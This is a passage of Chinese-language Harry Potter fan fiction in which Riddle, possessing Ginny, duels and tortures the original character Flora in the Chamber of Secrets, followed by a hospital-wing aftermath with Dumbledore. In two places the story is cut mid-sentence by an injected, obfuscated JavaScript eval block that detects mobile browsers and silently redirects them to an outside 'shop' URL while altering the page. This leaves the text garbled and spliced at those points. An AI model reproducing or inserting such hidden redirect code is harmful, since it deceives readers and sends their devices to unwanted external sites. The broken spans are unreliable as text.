没有任何想法。脑海里只是白纸一样的空白,你只是越来越贴近窗户,几乎要粘在上面,只是为了看得更清楚一点。 ……不。 绝对不行。 无法接受。 阴暗的想法像张牙舞爪的荆棘一样盘踞在心脏,汩汩的血流出来,从脚心流到头顶。这种感觉是时常发生的,但往常的任何一次都没有这次剧烈且疼痛。 嫉妒。 已经控制不了自己的表情。 嫉妒那位想要成为的“他”。 凭什么? 你开始尖锐地反问自己。 他凭什么? 你依然认为他是了不起的,愤怒并非你的本意,你觉得这样是正常的。你喜欢的两个人有一些交流,你应该为他们感到高兴。然而,这样膨胀的嫉妒早已有了征兆。 你嫉妒罗恩。为他们一同经历过旁人无法插入的冒险。 你嫉妒赫敏。她是个聪明的女孩,可以给他们你给不到的帮助。 最后,你嫉妒哈利。轻而易举就能做到你做不到的事,所有人都愿意相信他、帮助他。一年级就能成为魁地奇球队的一员,是备受瞩目的明星男孩。 你,闭上了眼睛。 是对自己感到失望吗? 不过,你不愿相信那是嫉妒。 你只是不安。 不安到不愿告诉任何人。 不安逐渐变成了空虚。 这就是你,金妮·韦斯莱。 自私而虚伪的女孩,陷于无聊的感情与爱中无法自拔。 就这样。 轻而易举地,你掉入了蛛网。 ——而那正是我为你编织好的陷阱。 * 金妮·韦斯莱正在朝身边路过的每个人微笑。她脚步轻快,面如春风,好事将近的意思在她脸上淋漓尽致地体现出来。 她正在往废弃的女子舆洗室走去,脚步不急不慢,轻松地就像是位高权重的领导来视察一般。 “我记得——是往这边走?” “还是说……是这边呢?” 仿佛娱乐一般的自问自答后,她勾起一抹玩味的笑,在那张稚嫩的脸上显得古怪又诡异。 两秒不到的时间里,她似乎往某个方向看了一眼,随后保持着她原先的步调,往左边走。 舆洗室确实在左边。 桃金娘不知道去了哪里。金妮没有一丝犹豫,抬脚便是往水池边走,精准地找到了那个刻着小蛇印记的水龙头,嘴里发出了一连串让人摸不着头脑的“嘶嘶”声。 紧接着,一道刺眼的光芒从水龙头上闪烁起来。然后,水池挪开,露出一根十分粗大的水管。 空气中有人的呼吸声。金妮笑了笑,转身跃进了管子里。 滑出管道,便是一片潮湿,黑暗的土地。在管道出口旁,右边是一堵严严实实的墙,左边是一片漆黑的通道。 金妮顺着左边的通道依然轻松地走着,她甚至没有拿出魔杖喊出“荧光闪烁”,就在幽深的黑暗里,她似乎不需要光的指引,仿佛天生就知道终点在哪里一样,朝着黑暗的深处走去。 一个又一个弯道后。金妮面前竖着一道墙,墙上两条活灵活现的蛇相互缠绕,绿宝石做的眼睛尖端有一道光芒闪过,带着莫名的冷酷残忍。金妮继续“嘶嘶”了几声,墙上的两条蛇分开了,石墙打开。 视野变得明亮起来。 墙后是一间看起来十分古老、诡秘的殿堂,许多缠绕着大蛇的石柱耸立于此,千百年来默然守望。石柱尽头隐隐可见一个高大的建筑,但这建筑被殿堂里的雾气遮掩了。绿莹莹的雾气飘荡在殿堂里,像是某种有毒的物质。 金妮的脚步声就在这殿堂里回荡。绕过石柱,又传回她自己的耳朵里。 在最后一对石柱面前,她停住了脚步。 随后,金妮开始像是跳轮舞一样转圈,华丽而优美地,仿佛正在准备一场舞会一样,对着某个方向用吟唱的语调说。 “如你所愿,我已经带你到达了这里。还不出来的话,可就不礼貌了。你说是吗,自以为聪明的客人。” 一个冷冰冰的声音从身后传来。 “你是谁?” “哦呀——?这个问题真有趣。我是金妮呀,你最好的朋友。你难道不认识我了吗,芙罗拉?” 金妮转过身,言笑晏晏。 芙罗拉·霍普脸若冰霜,用魔杖指着她。 “这是怎么啦?”金妮敞开手,作出欢迎的架势,“你这是要干什么呢?” “别装了。你不是金妮。”芙罗拉强压着内心深处的忌惮,努力作出强硬的样子,她环顾四周,看到了一座巨大的人形雕像。 “那是萨拉查·斯莱特林的雕像……这里是斯莱特林的密室!”她喃喃自语,咬着牙问,“你到底是什么人?” “作为一个一年级学生,我不得不承认你真的很厉害。”金妮拍拍手,并未回答她的问题,而是转而称赞起芙罗拉来,“让我猜猜,是那副眼镜吗?我注意到上面有些魔力波动——原来如此,你早就怀疑我了?洒了那些有趣的小玩意在我身上。” 反胃的恶心感一下子涌了上来,那是一种几近呕吐的感觉,芙罗拉几乎要压不住想对面前之人施咒的冲动,她张开口,金妮冰冷的目光锁定了她,那是有如蛇看着自己的玩物一般,闪烁着残酷与冷血的目光。 “听下去,女孩。我正在梳理这一切,擅自打断我会让我很生气的。” “……!” 她——或者说,他,用着金妮的脸,金妮的身体,露出了满意的笑容,似乎正看到一切都朝着对自己有利的方向发展。 他继续说下去。 “当然了,从你跟在我身后开始,我就意识到了有人在跟踪我。本来是想把你甩开的,但我转念一想,就让你跟我来这里也不错,这里毕竟是我的地盘嘛。” 他停顿了一下,以一种观赏的态度上下扫视了一边芙罗拉。 “你脸上的表情真不错,是意识到了什么?对了,我确实还没做自我介绍。嗯,好吧,就当是对聪明人的奖励好了。” 他终于拿出了魔杖——属于金妮的,在空中挥舞了几下,一行荧绿色的字母随之展现出来。 居然是无声咒!芙罗拉在心中对此人的危险程度又上升了几级。 “深感荣幸吧,站在你面前的可不是什么平庸无能的普通巫师,而是注定被世人铭记的伟大之人——被称作君主伏地魔的男人。” ……伏……地魔? “…………哼。”时间过去了几分钟,芙罗拉一直沉默着,而他,或者说伏地魔也在沉默中饶有兴致地等待她的反应。 但打破沉默的,是她的一声冷笑。 “说了那么久,也该换我了。这里还有些问题我没搞清楚,你介意帮我解答吗?”她没有说出那个名字,一滴冷汗从额角滴落。 伏地魔摆出了不是很满意的姿态,但脸上依旧是虚伪的友好。 “当然。我很乐意为女士解答疑问。”他伸出手,作出邀请的动作。 芙罗拉深吸一口气,尽量保持平静地说:“看来我还得感谢你的绅士风度,假如你真的有这东西的话……我一共有三个问题。第一,桃金娘是怎么死的?” 伏地魔挑起眉,冷漠地说:“那是谁?” “……嚯。别摆出这么难看的表情嘛,我以为我们已经达成了共识呢。”伏地魔说,“当你马上就能拥有无尽的时间,为世界做出伟大的改变时,你会知道有一些人根本就不重要。他们存在的唯一意义,就是为我的成功添砖加瓦。从这个意义上来说,这就是他们这种东西的成功。至于记住这种——打扰一下,你会记得自己踩死的蚂蚁吗?” “我可以看作是——你不知道该怎么回答这个问题吗?生命在你眼里,根本就不值一提吗?” “就当是那样好了。” 芙罗拉听到自己的心跳在一下一下有力的振动,鲜红的颜色仿佛就铺开在她的眼前。 “好,那么第二个问题,霍格沃滋出现的石化,是你在背后参与吗?” “这个问题居然也需要我解释吗?不应该啊,我认为你应该知道答案才是——”伏地魔叹了一口气,“不过准确来说也得怪那些调皮的学生,干什么非得跑到蛇怪面前。嘛,不过他们也算幸运的不是吗,还留了一条命在身上呢。” “所以,你确实就是背后的指使人了?” “如果你是指打开密室的话。对,当然是我了,除了我还能是谁呢,不是斯莱特林的继承人可打不开密室。既然打开了密室,蛇怪自然就能跑出去了。” “还真是坦然啊。”芙罗拉垂下眼眸,声音听不出情绪,“最后一个问题——你为什么要利用金妮?” 伏地魔先是愣了一下,再然后,他前所未有地大笑起来,就好像是听到了世界上最好笑的笑话一样,他一边擦着眼角,一边说,“真是意料之外的问题。我原以为你会问些更加严肃的问题,没想到最后竟然是有关小女孩之间无聊的友情引发的问题。让我想想,我该怎么回答你好呢?” 他又笑起来,笑得前俯后仰,芙罗拉真希望他能就这么笑厥过去。 “——回答就是,这完完全全就是个意外,是巧合,是命运!!”伏地魔大喊着,“谁让她,偏偏是她,拿到了我的日记本呢,这就是天意,是迎接君主伏地魔,维持他伟大统治的前奏。” 恶意从他扬起的嘴角溢出,他的魔杖直指着芙罗拉,“现在,小聪明已经不管用了。是我该收取回答你愚蠢问题的的报酬了。哈哈哈哈,就用——你的命来偿还吧!” “除你武器!” 从伏地魔用魔杖对着她时,全身上下响起的不安的警报让芙罗拉不需要思考就率先发起了攻击。但是,没有用,伏地魔只是像个指挥家一样,魔杖在空中轻轻一挥,就化解了她的咒语。 他就像是在考虑接下来要演奏什么曲目,手指捏住魔杖的一端,“该怎么招待你好呢?对待聪明人,我总是宽容得不得了。别人都说那个未来的我是个仁慈的君主,我正在朝着这个方向而努力。” 在他猫捉老鼠的游戏里,芙罗拉几乎是无所遁形,所有她展开的攻击都太简陋了,他甚至都懒得把那看成是一次见血的攻击,而是一种大人配合小孩的打闹。 “那就慢慢来好了——”伏地魔有了结论,开心地笑了,真心实意地觉得自己实在是太过温柔。他每走一步,便轻而易举地化解了芙罗拉的攻击,最多还差五米,他就能碰到芙罗拉。 “听说过三大不可饶恕咒吗?”他拨弄着魔杖,似乎还是不太习惯握着一根如此孱弱,没有力量的,属于金妮的魔杖。“一个一个来。第一个,夺魂咒。” “啊啊啊——唔!” 没有丝毫抵抗的能力,芙罗拉感觉自己的身体正在逐渐变得僵硬,一根无形的细线拉扯着她的身体,缠绕在她的脖子上,仿佛无声地威胁她,不顺从施咒主人的意愿,就会把她的脖子切断一样。她的大腿不受控制地扭曲着,像有重石压在她身上,“咚”地一声,芙罗拉的膝盖,手掌,脚趾尖全都匍匐在地,违背自身意志地,朝着手持魔杖之人——伏地魔叩拜,原本被芙罗拉紧紧握在手心的魔杖也不知道何时脱落了掌心,就那么无力地摔落在地上,细细的、无助的哀鸣声回响在空荡的殿堂,就像银针扎入皮肤,只得到聋哑人无声地叫喊一样。 “你一点都不礼貌,从我们第一次见面,我,与你的见面开始。”伏地魔在“我”字上加重了语气,“这不是个好的开端,你应该识时务些,对于即将君临巫师界的主人,做出臣服的姿态。” “……呵呵。”明明承受着五脏六腑在身体里肆意搅动的痛苦,伏地魔居高临下地看着芙罗拉用尽全身力气扯出的冷笑。 “……咳咳。明明、明明是个连真名都不敢说出来的懦夫,还敢自称……咳,巫师界的主人。”尽管跪在地上,芙罗拉的笑容就像是其本身对于伏地魔最大的嘲讽一样。“汤姆·里德尔——说什么生命根本不重要,也亏你能说得出口。呵呵,真让人发笑。就让我告诉你吧。漠视生命的人,最终也一定会被生命所背弃!呃啊!” 伏地魔的魔杖往下低了些,让那颗不存在的重石变得更大,芙罗拉无法忍受地尖叫了出来,伏地魔说,眼睛眯了起来。 “那只是一个过去的,早已被我抛弃的旧名。我之所以不说,是因为我觉得没有必要。”他冷酷地举起魔杖,“第二个,钻心剜骨。” 锥心的疼痛毫无预兆地袭击了芙罗拉,她想在地上打滚,尽管这已经失了一贯的风采。但是不能,她不得不跪在地上,与这潮湿的地板合而为一,密密麻麻的尖刺突击着心脏处,让她感觉心已经被人活剜出来。 她狼狈至极的模样在一定程度上取悦了汤姆·里德尔,他高兴地露出了牙齿,“咒立停。” 尖锐的痛苦瞬间潮水一般退却,但轰鸣声依然近得就像住在了芙罗拉的耳朵里。 “第三个,也是最著名的一个。我的拿手好戏。”他阴恻恻地笑了起来,欣赏地注视着芙罗拉被汗水浸湿的袍子,“能不能抓住机会逃命,就看你自己了。” 他慢吞吞地念出那个咒语。 “阿瓦达——索命。” * 千钧一发之际,芙罗拉难以想象并不爱运动的自己竟然能爆发难以想象的潜力以迅雷不及掩耳之势抓住了自己的魔杖,指尖在粗粝的石头上磨出了血痕。 但她已经没有精力去顾及那些伤疤与疼痛,唯一能做的事情只有拼命地奔跑,奔跑。不要命地奔跑。 希望洛夫古德那边一切顺利。芙罗拉苦中作乐地想道。现在,好像呼吸已经由不得她自己了一样,芙罗拉只觉得身体里所有的器官都要被她吐出来,那种恶心的反胃感一刻也没消停过。 从女子舆洗室出来以后,芙罗拉与卢娜·洛夫古德立马动身前往邓布利多校长的办公室,但是等她们真的到了后,邓布利多却不知所踪,听办公室里的画像说,校长出门去办事了,不知道什么时候才能回来。 不得已,两人败兴离开,路上芙罗拉仔细跟洛夫古德解释了一番她个人的猜测,认为学校最近发生的一系列事情或许真的与蛇怪有关。洛夫古德竟然也能立刻联想到这点,与她持有相同的看法。 就在她们想去找霍格沃兹在邓布利多之下能管事的教授时,芙罗拉透过金框眼镜的镜片——那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真可惜。”那个人用金妮的声音说。“虽然还想陪你好好玩玩,就像对待你那背叛的父亲一样。不过还是算了吧,后面还有更重要的事情等着我。” 他的魔杖顶端发出白色的光芒,那是死神的低语。 “阿瓦达索——” “不!不可以!!” 有人尖叫起来。就在汤姆要说出那最后一个音节时,有人忍无可忍地尖叫起来,这尖叫打乱了汤姆的节奏,他的手指一歪,索命咒正好偏离了芙罗拉的脑袋,打在毫无生机的土地上。 “我绝不容许你这么做!!你这个混蛋!!” ……确实有人在大声尖叫着。芙罗拉昏昏沉沉的脑袋仿佛被人迎头浇了一盆冷水下来,她猛地睁开眼,像条被水冲到岸上的鱼一样剧烈挣扎起来。里德尔竟然也没有反抗她的挣扎,她轻易就逃出了里德尔的禁锢,直接跪坐在地上,目瞪口呆地看着眼前的一幕。 里德尔,不,那更像是金妮,神色痛苦的扭曲着,连魔杖都被她扔在地上,双手使劲地抓着自己的脑袋。她的身上仿佛在进行一场必须你死我活的战争,脸上半是流泪,半是狞笑。芙罗拉从没看过在一个人的脸上能看到如此矛盾的表情,她的身体存在两个人,却只能存在一个宿主! “你想斗过我?开什么玩笑?一个一年级的小鬼?!说到底这根本就不可能,你甚至明明都没有醒过来的可能性才是!”里德尔大叫着,属于他掌控的半张脸上充斥着被愚弄的怒火和不可置信。 “怎么可能允许!怎么可能允许!!你怎么可以拿我的身体做出那种事情!!!”金妮崩溃地尖叫道:“我要你快点——快点滚出我的身体!!!” 简直就像是在看一个人在与自己吵架一样,本能的直觉告诉芙罗拉,她不应该,也插入不了这场金妮自己的战争。 “……该死的,可恶。”她不得不咬牙承认自己现在的无能为力,在金妮独自奋战的时候,她竟然不能给予她一点的帮助。但是,已经快没有知觉的腿自发站了起来,她伸出手抓住了金妮掉落在地的魔杖。 金妮的战争会以她的胜利结束。这是毫无理由的信任,芙罗拉抓紧手里的魔杖,眼神逐渐坚毅。 而芙罗拉的战斗也会以她的胜利画下圆满的句号。 “……啧。真没想到能做到这个程度啊。呵、呵呵——”里德尔的声音充满了阴森的寒意,“本来是想与那个大难不死的男孩见面再用这个形象的……” “现在看来,我对你们还是太仁慈了——” 一阵黑烟从金妮的头顶汩汩涌出,她的眼睛在那一瞬间失去了光彩,支撑不住般倒下,芙罗拉心里一紧,把已经失去意识的金妮揽进怀里。 她朝黑烟看去,那黑烟骤然化成了一个说得上是英俊的男人,那本应是如沐春风的长相上此刻挂满了阴云,他冲搀扶着的两人微笑道。 “你们,准备好去死了吗?” 可恶!芙罗拉的拳头重重地捶在地上。还差一点,就差一点,传送咒就能完成了……! 里德尔不知道又从哪里拿出了一根魔杖,这次他决心速战速决,毫不犹豫地举起魔杖对着两人。 不行,要救两个人根本不可能。几秒之间,芙罗拉做出了权衡。 “——阿瓦达索命!” “——统统传送!” 芙罗拉的魔杖对准了金妮,两个人的传送咒她已经没有时间完成了,但要把一个人送出去完全绰绰有余。能把金妮送出去,她来到这里的目的也就达成了。 这次不可能有任何失误了。芙罗拉都佩服自己还能在心里开玩笑,万一伏地魔的索命咒能两次失误在同一个人身上,那她说不定活着出去后就能比哈利·波特还要出名呢。 大难不死的女孩?芙罗拉弯了弯眼睛,饶了她吧,这个名头所承受的代价她可不想再来一次了。 “等等、等等——还没有结束呢!” 芙罗拉惊讶地睁大了眼睛,明明已经昏迷过去的金妮不知何时又清醒过来,已经在空中半透明的身体倔强地在地上画着什么。 “别放弃啊,说着要保护我,保护到中途就自顾自地死掉这种事,我才不会高兴……”她虚弱地说,“这是传送的图案吗,还好你以前给我看过。呆在那里干什么,快点用传送咒把我们一起传走——好了,最后一笔,完成了。快啊——!!” 最后一点金妮的身体也化成了空气。芙罗拉茫然地举起魔杖。 “哼哈哈哈,你已经没有机会了!”里德尔大笑着说,索命咒已经打在了芙罗拉身上。 他的笑容僵在了脸上。 “不,这不可能!”他满是不甘的声音响彻殿堂,“你怎么会没事?!” 芙罗拉也不知道自己为什么会没事,但这不妨碍她反应迅速地喊出:“——统统传送!” 这真是一种奇妙的感觉。芙罗拉往下低头,便能看见自己逐渐变得透明的声音。抬头,里德尔怨恨的眼神牢牢盯着她,不可一世的傲慢与轻蔑因为他的恐惧后退了一步。 现在是芙罗拉的时间了。撑着最后一口气,她高高地仰起头,轻快地对恼羞成怒的所谓君主招手,并高喊着。 “置于死地——而后生!” * 卢娜·洛夫古德正在医务室里焦急地等待着,庞弗雷夫人心有不满,看着即将被她的鞋底磨秃的地板,终究还是没忍住,语气不好地说,“医务室可不是你能开玩笑的地方,洛夫古德小姐。如果两分钟后,你的所谓‘可能受伤’的病患还没到的话,梅林发誓,我会把你赶出去的。” 卢娜心不在焉地点头,敷衍地安抚着满身怨气的庞弗雷夫人,依然在医务室里来回转圈。 庞弗雷夫人冷笑了几声,认定卢娜是在浪费医疗资源,打扰她的工作,于是她几乎是掐着秒表数时间,两分钟一到,她忍无可忍地起身,就要把还想说点什么的卢娜推出去。然而,事情总是要往出人意料的方向发展——两个人从天而降,一前一后,不约而同落在了她医务室的病床,昏迷不醒,看上去还命不久矣。 还挣扎在门口的卢娜一下子就像条泥鳅滑出了她的手心,她飞快地跑到那两人身边,紧接着转头用可怜的眼神望着庞弗雷夫人。 “夫人……” 庞弗雷夫人任命地叹了口气,但丝毫不拖泥带水地,她脚步声风地到那两个昏迷的女孩面前,用魔杖查看到底是什么情况。随后,她的眉头重重打在眼睛上。 “天呐,我要立刻对她们进行急救。”她立马开始翻找起要用到的魔药,并对卢娜说,“可以请你把斯内普教授叫到这里来一下吗?” 29. 一年级·完 阿不思·邓布利多已经很久没做过这么长的梦了,也很久没与他年岁相当的朋友用那种追忆过去的怀念语调一起畅所欲言了。在他这般年纪,可以称为朋友的相当一部分人已经毅然决然地踏入沉睡的墓地,享受死亡后的旅途。 直面死亡是需要勇气的,坦然接受更不容易。阿不思敬佩这些朋友,也祝福这些勇敢的朋友。 但是,作为一个老人,作为一个人,在无人可以倾诉的白天还有夜晚,偶尔,他也会产生任性的念头——想回到那段年少轻狂的日子,在枝桠疯长的野草地里奔跑,偶尔可以坐在染上天边云霞的颜色的巨石上,谈谈憧憬的理想和未知的未来。 然而,人不可能回到过去。阿不思清醒地知道,也不可能改变过去。有一段能够牢牢珍藏的回忆已经足够幸运了。他朝魔法部大门的看守员点头,得到了一个谄媚的笑容。看守员生怕晚了一步,着急忙慌地替他打开了门。 这可真是一段长途旅行。阿不思带着用缩小咒打包好的行李,在魔法部的人嘘寒问暖的话语中用移形换影到了霍格沃兹的禁林边缘。不消多时,他就看见了海格庞大的身躯,再凑近些,他发现海格憔悴了不少,那可爱的肚子都像被人打瘪的气球一样沮丧地凹进去。看来学校最近发生了不少事,不过,据他所知,事情都已经被解决了。解决的过程似乎十分凶险,但这是某个人不得不面对的事,就在可以预见的未来,他将会遇见更多顽石一般的困难。到那时,这些积攒下来的勇气和经验会成为他最后的利刃,去刺穿所有阴谋和邪恶。 “啊,是邓布利多校长!您是从哪冒出来的?不,您回来了?”海格终于注意到了他,他正面是一副没睡好的样子,正揉着眼睛惊喜地望着他。 “是的,海格。”阿不思说,“放心地睡一觉吧。那些你爱的生物之后不会再受到任何伤害了。” 半月型镜片后的眼睛盛满了笑意,让人忍不住信任的蓝色融化了海格,“当然,你也是。”阿不思说。 大颗大颗的泪珠从海格眼眶里掉落,他感激地说,“谢谢您,谢谢您,相信那些残忍的事不是我做的……” “放轻松,海格。没有做过的事情就是没有做过,哪怕用再恐怖的手段逼迫你承认,可那就是没有做过。真相总会大白。”阿不思拍拍海格一下子垮下来的肩,这需要费点力,但阿不思还是想安慰这个感性的半巨人。 “你把这里打理地很好。”阿不思鼓励地看着他,“你是我的骄傲。” 海格一语不发,却自然地挺起了胸,眼中盛放出像燃烧的煤油灯一样灼灼的亮光。通过这,阿不思知道那个乐观的海格又回来了,也一语不发地重重握着他的手,朝他微笑。 “受伤的孩子们都在医务室。”阿不思松开手,海格不太好意思地摸了一把脸,说道。 阿不思了然,“哈利,还有那两个女孩?” “是的,您应该去看看他们。庞弗雷夫人气疯了,到处想找人吵架。呃,我不是这个意思。”海格撇了撇嘴,阿不思猜他可能与夫人碰了面。 他点点头。“自然。这是自然。我早就该去看看那几个孩子了。” 在阿不思·邓布利多到达医务室的时间里,西弗勒斯·斯内普摆出一副人见人不爱的样子,像瘟神一样站在医务室的门口,任谁都能透过那双阴鸷的眼睛看出他绝对不好的心情。 又一次……他在黑色袖袍下,因为常年制作魔药而遍布细小伤疤的手狠狠拧成一团,只能在脸上发泄出来的情绪折磨着他。 “斯内普教授?”出声的是庞弗雷夫人,她一心顾着她的病人,丝毫没能注意到斯内普的异样,只是紧锁着眉,脑中思索着下一步的救治,连声音都显得那么急切且不容置疑,“我希望你能立刻配置出莫特拉鼠触角汁。” “……我明白了。”斯内普干涩的仿佛几天没喝过水的声音一出来,庞弗雷夫人敏感地转头朝向他:“您没事吧,教授?” 斯内普沉默地摇头,黑色袍子在背过头的瞬间扬起一阵漆黑的风,他步伐匆匆,以不容许任何人干扰的气势朝魔药储藏室赶去。 阿不思·邓布利多正好站在门口,瞥过斯内普的背影。 “夫人?”他出声提醒沉浸在自己思绪,口中不断碎碎念的波比·庞弗雷。 “是您?您终于来了。快来看看这几个孩子,他们一定经历了什么可怕的事。”庞弗雷的嘴唇上下颤抖,就像是在忌惮什么一样,她深深地看了一眼邓布利多。 邓布利多并未言语,径直朝病床走去,也许是他脸上的沉稳感染了庞弗雷,她站直了身体,为邓布利多解释病人的状况。 邓布利多静静地听着。等庞弗雷讲完后,他问:“他们什么时候醒来?” “我想还要很久。”庞弗雷忐忑地判断道,语气却很笃定,“但不会超过十个小时。” 邓布利多点了点头,赞赏的目光先一步移到庞弗雷劳累过度的脸上,似乎是想把这样的面容刻在自己脑中一样,他对庞弗雷说,“你做得很好,在这样的情况下,没有人会比你做得更好了。” 庞弗雷微微发愣,很快便矜持地点头,接受了邓布利多的称赞。 “他们、孩子们需要休息。”她说。 “那么在这几个小时里,我会看着他们的。”邓布利多说,堵住了庞弗雷倔强的目光,“你已经很累了,波比。作为一个治疗师,不会有人比你更清楚,如果没有一个健康的身体,是无法治好自己的病人的。” “……可是……” “去休息吧。这是我的请求。”邓布利多放软了语气。在那样恳求的视线中,庞弗雷败下阵来。 但她坚持补了一句,“假若有任何不对的情况,请立刻让我过来。” 邓布利多笑了,“如果那种情况真的发生了。哪怕你正在香甜的美梦中,我也会把你喊起来的。” “……感谢您,校长。”庞弗雷垂下头去,最后看了一眼她安睡的孩子们,走进了隔壁的休息室。 这下邓布利多可以好好看看这些勇敢的孩子们了。首先是哈利,拔出了格兰芬多宝剑,好样的。福克斯也及时赶到了,没有造成更多的伤亡现象,斯莱特林的密室也被发现了,不会再有人因为蛇怪而死去了。 他沉沉的视线落在哈利的脸上,哈利陷入了婴儿般安静的沉睡,安详的红润浮在他的两颊,波比真的把他照顾得不错,连一点伤疤——除了那个挥之不去的闪电疤痕,都没有留下。 这是正确的选择。他在心里坚信。同时他看向另外两个人。这是他没想到的情况,事情总是会有变化。 一个红发的女孩,标志的韦斯莱小姑娘。是的,对于这样的特征,他非常熟悉。韦斯莱们向来是正义的伙伴,他从来不会怀疑他们的勇气。 汤姆·里德尔。这个名字被他反复咀嚼着,这是他过去的学生,在他抛弃了这个名字后,他本以为他再不会用这个让他感到耻辱的身份出现在霍格沃兹。但他对于汤姆的了解或许还是不够……他有没有真正了解过汤姆呢? 也许他从没有真正了解过一个人也说不定,关于人性的探究,就像一本永远也读不完的书,太过沉浸会被反噬。 在红发姑娘的身边,是另一个黑发的姑娘,她们依偎在一起,双手牢牢握住对方的手,与哈利和韦斯莱小姑娘相比,她身上受的伤比他们两个加起来都要更多、更严重。 这个小姑娘的面貌,邓布利多同样很熟悉。她长得简直跟她的母亲一摸一样,五官几乎是从一个模子里刻出来的,只有头发的黑色和那苍白的皮肤,遗传自她的父亲。 斯莱特林和赫奇帕奇的结合,令人意想不到的爱情结晶。 如果没有那件事的发生,或许她的命运也就截然不同了。然而,人是无法改变命运的。在不幸降临其身时,接受或是不接受,在做下选择后便种下了命运的种子。 “你是……邓布利多?” 不知何时睁开了那双泛着雾气的灰色眼睛,芙罗拉·霍普眨眨眼睛,又眨了眨眼睛,与白胡子巫师对视了,在没有任何人预料到的情况下,芙罗拉在那双仁慈的眼睛里,看到了还未完全收回的脆弱。 正当她怀疑那是自己的错觉时,错觉已然消失在了邓布利多眼中。 “我听说了你的事,孩子。”他轻松地说,“你非常了不起。” “……我没想到事情会这么危险。”芙罗拉感觉有什么温热的东西覆在手掌上,往下看了一眼——是金妮的手。她转而看向身边金妮的脸,是平静的让人放心的脸。金妮终于能好好睡个觉了。 于是,放下了担心。芙罗拉开始朝面前的老人吐出之前经历的一切。邓布利多身上有种奇怪的亲切力,你不自觉地就想相信他。 “——所以,不知道为什么,我没有中索命咒。我原先觉得这不可能,毕竟那是黑魔王最得心应手的咒语。”芙罗拉以一种旁观者的心态讲诉着所有她的猜测和最后的结果,表情冷静得不像是个刚从可怕的境地死里逃生的人。 邓布利多安静地听着。他观察着这个孩子,没错,与他想得一样,问题从来没有被解决,只是在时间的磋磨中沉寂下来,表面上似乎在朝着好的方向前进。 “你真的很勇敢。不是谁都有面对死亡的勇气。”没有再想更多,邓布利多只是把手轻轻放在小姑娘的头顶,抚摸着她。 他从雪白的袍子深处拿出了一个东西,将它举在胸前,让芙罗拉能清楚地看到这个东西。 “我想,是它帮你躲过了夺命咒。” 那赫然是一个黄金烟斗。芙罗拉立马把手伸进巫师袍的口袋,里面空无一物。片刻的思考后,她犹豫地出声,“您的意思是,黑魔王的索命咒,打在了这个烟斗上?” 邓布利多的眼神传达出了肯定,芙罗拉还是有些不可置信。 “他的运气可真不好。”她最后总结道。 邓布利多附和她,“谁说不是呢。幸运女神总是站在她喜欢的一边。” “………………” “……对了,看您的样子,难道事情都已经解决了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201287|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,都解决了。” “……那么,桃金娘呢?被人蓄意害死的她,您是怎么想得呢?” “我想,她会受到公正的对待。” “这样吗?那您可要说话算数……” 比任何人都要提前醒来,像是有什么还没有完成的使命,拼命睁开眼睛的她,说话的声音已经模糊不清,最后,邓布利多看了眼窗外,外面是一片分外明净的天空,有雪白的猫头鹰在阳光下飞舞。 “做个美梦,霍普小姐。”邓布利多替她盖上了被子,坐在藤椅上,等待着所有孩子们的苏醒。 他想起了那个冗长的梦,梦里有他的老友玛丽莲安娜为他造出来的,属于年少的梦。 “还满意吗,阿不思?” “嗯,不能更满意了。” 那是一张向往着光明,有如孩童般天真的脸,是现在的自己所无法到达的过去。在乐园里,在梦中,所窥见的虚影。 他确实是变了。被正确裹挟得太久,对一些悲剧的发生选择了视而不见。 但他只能选择正确。 * 取消了期末考试,埃拉是最高兴的那个。更让她高兴的是,格兰芬多取得了学院杯,她与有荣焉,在邓布利多宣布的一瞬间就欢呼起来。 红色的海洋遍布了礼堂,身旁的芙罗拉似乎还沉浸在自己为格兰芬多在最后的最后赢得了五十分的壮举中,埃拉于是和金妮对视了一眼,脸上是如出一辙的笑容。 “一,二,三……!” 她们一同拥抱了芙罗拉,人类中最为纯粹的情感在三人中互相传递。 “我们赢了耶!这种高兴的日子里就不要绷着个脸了!是吧金妮?” “就是啊,快点笑一个啦!” “……你们这两个家伙……”快要被她们抱得无法呼吸了,芙罗拉半是无奈,半是好笑地推开她们,在金妮罪恶的手伸向她的脸前,像一朵缓缓盛开的花,她笑起来,远离了冷漠、远离了阴沉,她真正笑起来。 金妮和埃拉张大口,目瞪口呆地看着她。 “好、好自然的笑!” “骗人的吧……” 芙罗拉收回了笑,面无表情地看着她们。 “再笑一个,再笑一下嘛!” “我不。”芙罗拉冷漠地拒绝了她们。 几天后,霍格沃兹的学生们聚集到站台,逐一登上火车。芙罗拉在车厢中一节一节地找过去,终于在最后的车厢里找到了金妮。 她清了清嗓,试图唤回正在发呆的金妮的注意。金妮看到是她,像受惊的猫一样下意识把身体往后挪。 她这样的反应,很难让芙罗拉不多想,她迟疑地打开推门,因为接下来要说的话感到莫名的不安。 “不是有意怀疑你的。”她没什么底气地说。金妮慢慢地眨着眼睛,反应过来后惊讶地看着她。 唉,在心里沉重地叹了口气,芙罗拉视死如归地说,“在你身上放了飞磷粉,本来是为了确保你的安全。我从来没有怀疑过你,我只是觉得你可能被人利用了,才……” 她说不下去了,愧疚地垂下头。尽管出于好意,但她也知道,这不是件容易让人接受的事,特别是在朋友之间,居然利用金妮对她的信任,真的跟踪了她。 金妮完全呆愣住了,傻傻地瞪着她,半晌,她没好气地说:“你就在想这个啊。” 芙罗拉从她的语气中觉察出了些另外的情绪,她小心地抬起头,脑门猝不及防被金妮拍了一巴掌。她捂住头,脑袋又垂了下去。 “……我从来都没怪过你。”金妮说,声音不太自然,“不如说全部都是我的错吧,要不是我,你也不会……” 